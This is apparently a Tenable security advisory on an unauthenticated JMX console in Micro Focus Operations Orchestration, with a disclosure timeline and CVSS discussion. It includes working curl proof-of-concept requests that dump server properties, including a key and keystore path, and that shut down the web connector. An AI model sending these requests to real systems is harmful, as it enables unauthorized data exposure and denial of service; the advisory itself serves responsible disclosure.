Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

[R1] Micro Focus Operations Orchestrations Information Disclosure and Remote Denial of Service

High

Synopsis

The default configuration of Operations Orchestration exposes the JMiniX JMX console to unauthenticated remote users. A malicious attacker can use this console to gather information:

[email protected]:~$ curl -d "executed=true" -X POST http://192.168.1.253:8080/oo/jminix/servers/0/domains/com.sun.management/mbeans/type=DiagnosticCommand/operations/vmSystemProperties%28%29/
#Wed Feb 28 11:01:57 EST 2018
java.vendor=Azul Systems, Inc.
events.persistency=false
org.apache.xml.security.ignoreLineBreaks=true
sun.java.launcher=SUN_STANDARD
catalina.base=C\:/Program Files/Hewlett Packard Enterprise/HPE Operations Orchestration/central/tomcat
sun.management.compiler=HotSpot 64-Bit Tiered Compilers
catalina.useNaming=true
os.name=Windows 10
sun.boot.class.path=C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\resources.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\rt.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\sunrsasign.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jsse.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jce.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\charsets.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\lib\\jfr.jar;C\:\\Program Files\\Hewlett Packard Enterprise\\HPE Operations Orchestration\\java\\classes
ssl.verifyHostName=false
host.name=DESKTOP-F6M1S7H.westeros
cloudslang.worker.inBufferCapacity=200
mgmt.url=http\://localhost\:8080/oo
sun.desktop=windows
java.vm.specification.vendor=Oracle Corporation
java.runtime.version=1.8.0_66-b17
wrapper.native_library=wrapper
javax.net.ssl.keyStore=C\:/Program Files/Hewlett Packard Enterprise/HPE Operations Orchestration/central/var/security/certificate.p12
wrapper.key=mmvkDoBqly1UnneD13IinG_K5LF_5nhg
user.name=DESKTOP-F6M1S7H$
... snip ...

Or to simply shutdown the web interface:

[email protected]:~$ curl -d "executed=true" -X POST http://192.168.1.253:8080/oo/jminix/servers/0/domains/Catalina/mbeans/type=Connector,port=8080/operations/stop%28%29/
curl: (52) Empty reply from server
[email protected]:~$ curl -vv http://192.168.1.253:8080/oo/
*   Trying 192.168.1.253...
* TCP_NODELAY set
* Connected to 192.168.1.253 (192.168.1.253) port 8080 (#0)
> GET /oo/ HTTP/1.1
> Host: 192.168.1.253:8080
> User-Agent: curl/7.54.0
> Accept: */*
> 
^C

A note on the CVSS scoring. Micro Focus has given this a score using “AC:H” (or Access Complexity: High). The description for a “Low” access complexity follows:

Specialized access conditions or extenuating circumstances do not exist. The following are examples:
- The affected product typically requires access to a wide range of systems and users, possibly anonymous and untrusted (e.g., Internet-facing web or mail server).
- The affected configuration is default or ubiquitous.
- The attack can be performed manually and requires little skill or additional information gathering.
- The race condition is a lazy one (i.e., it is technically a race but easily winnable).
The affected configuration is the default configuration. Tenable’s CVSS scoring reflects that while Micro Focus’ does not.

Solution

Follow the vendor's instructions found here.

Disclosure Timeline

01/16/2017 - Issue discovered
01/19/2017 - Vulnerability reported to HPE
01/30/2017 - Vendor confirms receipt and assigns PSRT110353
03/31/2017 - Ping vendor for update
04/03/2017 - Vendor says "issue has been accepted by the product owner and is in process"
07/11/2017 - Vendor requests PoC
07/11/2017 - Tenable provides PoC
02/26/2018 - Vendor is now Micro Focus. They ask who to credit.
02/26/2018 - Tenable provides credit information and asks for disclosure date.
02/26/2018 - Vendor not sure on disclosure date but will send a link when its available
03/01/2018 - Vendor releases a security advisory
03/02/2018 - Tenable releases a security advisory

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Try for Free Buy Now

Try Tenable.io Vulnerability Management

FREE FOR 60 DAYS

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Sign up now and run your first scan within 60 seconds.

Buy Tenable.io Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

65 assets

Try Nessus Professional Free

FREE FOR 7 DAYS

Nessus® is the most comprehensive vulnerability scanner on the market today. Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.